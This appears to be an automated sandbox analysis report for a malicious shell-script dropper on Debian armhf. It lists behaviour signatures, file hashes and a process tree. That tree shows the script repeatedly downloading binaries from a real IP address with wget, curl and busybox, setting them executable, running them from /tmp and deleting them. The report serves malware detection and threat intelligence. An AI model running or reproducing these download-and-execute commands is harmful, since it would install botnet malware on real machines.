Analysis

  • max time kernel
    17s
  • max time network
    19s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    18/10/2024, 02:16

General

  • Target

    988fd4fe10fa581bbf2b3ffc3df3de6cae7f30da58a71623c0eb40e3adea95f6.sh

  • Size

    10KB

  • MD5

    62cc0d748ce1bc23e334fb8337b1bf09

  • SHA1

    6ad81a5d3316adcab7a039a21fa81bfbcbf8b748

  • SHA256

    988fd4fe10fa581bbf2b3ffc3df3de6cae7f30da58a71623c0eb40e3adea95f6

  • SHA512

    276eac78c58b4d7a6fc6421f2ec0499bfda30e027d56c3602575fe6e71f2a006c4ca64db15c7080c252f02c698df1e83702fe82ac41266fcd0cebb3ba32454f5

  • SSDEEP

    192:fgZwipsY9skLiE1Zq/7DlJOqDgAimsY9skyxB1Zq/7DHOqDgAiA:fewiBi19a5UAA

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Checks CPU configuration 1 TTPs 8 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 16 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 8 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/988fd4fe10fa581bbf2b3ffc3df3de6cae7f30da58a71623c0eb40e3adea95f6.sh
    /tmp/988fd4fe10fa581bbf2b3ffc3df3de6cae7f30da58a71623c0eb40e3adea95f6.sh
    1⤵
      PID:638
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:640
        • /usr/bin/wget
          wget http://87.120.84.230/bins/BYmYv0y18L0k3P5gDTI6OMMP6ssgam6KJS
          2⤵
            PID:643
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/BYmYv0y18L0k3P5gDTI6OMMP6ssgam6KJS
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:656
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/BYmYv0y18L0k3P5gDTI6OMMP6ssgam6KJS
            2⤵
              PID:666
            • /bin/chmod
              chmod 777 BYmYv0y18L0k3P5gDTI6OMMP6ssgam6KJS
              2⤵
              • File and Directory Permissions Modification
              PID:671
            • /tmp/BYmYv0y18L0k3P5gDTI6OMMP6ssgam6KJS
              ./BYmYv0y18L0k3P5gDTI6OMMP6ssgam6KJS
              2⤵
              • Executes dropped EXE
              PID:672
            • /bin/rm
              rm BYmYv0y18L0k3P5gDTI6OMMP6ssgam6KJS
              2⤵
                PID:673
              • /usr/bin/wget
                wget http://87.120.84.230/bins/rcbc5jO4G7u85ju9kKzzxLCvTDrSJbsHZk
                2⤵
                  PID:674
                • /usr/bin/curl
                  curl -O http://87.120.84.230/bins/rcbc5jO4G7u85ju9kKzzxLCvTDrSJbsHZk
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:697
                • /bin/busybox
                  /bin/busybox wget http://87.120.84.230/bins/rcbc5jO4G7u85ju9kKzzxLCvTDrSJbsHZk
                  2⤵
                    PID:702
                  • /bin/chmod
                    chmod 777 rcbc5jO4G7u85ju9kKzzxLCvTDrSJbsHZk
                    2⤵
                    • File and Directory Permissions Modification
                    PID:708
                  • /tmp/rcbc5jO4G7u85ju9kKzzxLCvTDrSJbsHZk
                    ./rcbc5jO4G7u85ju9kKzzxLCvTDrSJbsHZk
                    2⤵
                    • Executes dropped EXE
                    PID:709
                  • /bin/rm
                    rm rcbc5jO4G7u85ju9kKzzxLCvTDrSJbsHZk
                    2⤵
                      PID:711
                    • /usr/bin/wget
                      wget http://87.120.84.230/bins/De1QXOpFjsGUj7dZOZF7uIXZ2nuwjAsRBj
                      2⤵
                        PID:712
                      • /usr/bin/curl
                        curl -O http://87.120.84.230/bins/De1QXOpFjsGUj7dZOZF7uIXZ2nuwjAsRBj
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:721
                      • /bin/busybox
                        /bin/busybox wget http://87.120.84.230/bins/De1QXOpFjsGUj7dZOZF7uIXZ2nuwjAsRBj
                        2⤵
                          PID:726
                        • /bin/chmod
                          chmod 777 De1QXOpFjsGUj7dZOZF7uIXZ2nuwjAsRBj
                          2⤵
                          • File and Directory Permissions Modification
                          PID:728
                        • /tmp/De1QXOpFjsGUj7dZOZF7uIXZ2nuwjAsRBj
                          ./De1QXOpFjsGUj7dZOZF7uIXZ2nuwjAsRBj
                          2⤵
                          • Executes dropped EXE
                          PID:729
                        • /bin/rm
                          rm De1QXOpFjsGUj7dZOZF7uIXZ2nuwjAsRBj
                          2⤵
                            PID:730
                          • /usr/bin/wget
                            wget http://87.120.84.230/bins/lIZ4nqbZQP5jcXkEXyDkf9yV2NHMSMUjrv
                            2⤵
                              PID:731
                            • /usr/bin/curl
                              curl -O http://87.120.84.230/bins/lIZ4nqbZQP5jcXkEXyDkf9yV2NHMSMUjrv
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:762
                            • /bin/busybox
                              /bin/busybox wget http://87.120.84.230/bins/lIZ4nqbZQP5jcXkEXyDkf9yV2NHMSMUjrv
                              2⤵
                                PID:763
                              • /bin/chmod
                                chmod 777 lIZ4nqbZQP5jcXkEXyDkf9yV2NHMSMUjrv
                                2⤵
                                • File and Directory Permissions Modification
                                PID:764
                              • /tmp/lIZ4nqbZQP5jcXkEXyDkf9yV2NHMSMUjrv
                                ./lIZ4nqbZQP5jcXkEXyDkf9yV2NHMSMUjrv
                                2⤵
                                • Executes dropped EXE
                                PID:765
                              • /bin/rm
                                rm lIZ4nqbZQP5jcXkEXyDkf9yV2NHMSMUjrv
                                2⤵
                                  PID:766
                                • /usr/bin/wget
                                  wget http://87.120.84.230/bins/p7lS1Hib6mkhrAbNonz58r7ALivEnozztu
                                  2⤵
                                    PID:767
                                  • /usr/bin/curl
                                    curl -O http://87.120.84.230/bins/p7lS1Hib6mkhrAbNonz58r7ALivEnozztu
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:768
                                  • /bin/busybox
                                    /bin/busybox wget http://87.120.84.230/bins/p7lS1Hib6mkhrAbNonz58r7ALivEnozztu
                                    2⤵
                                      PID:769
                                    • /bin/chmod
                                      chmod 777 p7lS1Hib6mkhrAbNonz58r7ALivEnozztu
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:770
                                    • /tmp/p7lS1Hib6mkhrAbNonz58r7ALivEnozztu
                                      ./p7lS1Hib6mkhrAbNonz58r7ALivEnozztu
                                      2⤵
                                      • Executes dropped EXE
                                      PID:771
                                    • /bin/rm
                                      rm p7lS1Hib6mkhrAbNonz58r7ALivEnozztu
                                      2⤵
                                        PID:772
                                      • /usr/bin/wget
                                        wget http://87.120.84.230/bins/3ALeJgt8qCSdO4bmTwZTPQyFRiQmelMErR
                                        2⤵
                                          PID:773
                                        • /usr/bin/curl
                                          curl -O http://87.120.84.230/bins/3ALeJgt8qCSdO4bmTwZTPQyFRiQmelMErR
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:774
                                        • /bin/busybox
                                          /bin/busybox wget http://87.120.84.230/bins/3ALeJgt8qCSdO4bmTwZTPQyFRiQmelMErR
                                          2⤵
                                            PID:775
                                          • /bin/chmod
                                            chmod 777 3ALeJgt8qCSdO4bmTwZTPQyFRiQmelMErR
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:776
                                          • /tmp/3ALeJgt8qCSdO4bmTwZTPQyFRiQmelMErR
                                            ./3ALeJgt8qCSdO4bmTwZTPQyFRiQmelMErR
                                            2⤵
                                            • Executes dropped EXE
                                            PID:777
                                          • /bin/rm
                                            rm 3ALeJgt8qCSdO4bmTwZTPQyFRiQmelMErR
                                            2⤵
                                              PID:778
                                            • /usr/bin/wget
                                              wget http://87.120.84.230/bins/LwKEpW7w0zNYDuijWJUvnUyuH4WX6BZezr
                                              2⤵
                                                PID:779
                                              • /usr/bin/curl
                                                curl -O http://87.120.84.230/bins/LwKEpW7w0zNYDuijWJUvnUyuH4WX6BZezr
                                                2⤵
                                                • Checks CPU configuration
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:783
                                              • /bin/busybox
                                                /bin/busybox wget http://87.120.84.230/bins/LwKEpW7w0zNYDuijWJUvnUyuH4WX6BZezr
                                                2⤵
                                                  PID:785
                                                • /bin/chmod
                                                  chmod 777 LwKEpW7w0zNYDuijWJUvnUyuH4WX6BZezr
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:787
                                                • /tmp/LwKEpW7w0zNYDuijWJUvnUyuH4WX6BZezr
                                                  ./LwKEpW7w0zNYDuijWJUvnUyuH4WX6BZezr
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:788
                                                • /bin/rm
                                                  rm LwKEpW7w0zNYDuijWJUvnUyuH4WX6BZezr
                                                  2⤵
                                                    PID:789
                                                  • /usr/bin/wget
                                                    wget http://87.120.84.230/bins/TTCENn689A2RBaPVAnTWkhra3DUcADJ7bG
                                                    2⤵
                                                      PID:790
                                                    • /usr/bin/curl
                                                      curl -O http://87.120.84.230/bins/TTCENn689A2RBaPVAnTWkhra3DUcADJ7bG
                                                      2⤵
                                                      • Checks CPU configuration
                                                      • Reads runtime system information
                                                      • Writes file to tmp directory
                                                      PID:791
                                                    • /bin/busybox
                                                      /bin/busybox wget http://87.120.84.230/bins/TTCENn689A2RBaPVAnTWkhra3DUcADJ7bG
                                                      2⤵
                                                        PID:792
                                                      • /bin/chmod
                                                        chmod 777 TTCENn689A2RBaPVAnTWkhra3DUcADJ7bG
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:793
                                                      • /tmp/TTCENn689A2RBaPVAnTWkhra3DUcADJ7bG
                                                        ./TTCENn689A2RBaPVAnTWkhra3DUcADJ7bG
                                                        2⤵
                                                        • Executes dropped EXE
                                                        PID:794
                                                      • /bin/rm
                                                        rm TTCENn689A2RBaPVAnTWkhra3DUcADJ7bG
                                                        2⤵
                                                          PID:795
                                                        • /usr/bin/wget
                                                          wget http://87.120.84.230/bins/FjXt1N23N2G8hbOp5xKBAmi2sAEoYbtrcJ
                                                          2⤵
                                                            PID:796

                                                        Network

                                                              MITRE ATT&CK Enterprise v15

                                                              Replay Monitor

                                                              Loading Replay Monitor...

                                                              Downloads

                                                              • /tmp/BYmYv0y18L0k3P5gDTI6OMMP6ssgam6KJS

                                                                Filesize

                                                                153B

                                                                MD5

                                                                998368d7c95ea4293237f2320546e440

                                                                SHA1

                                                                30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

                                                                SHA256

                                                                533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

                                                                SHA512

                                                                648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97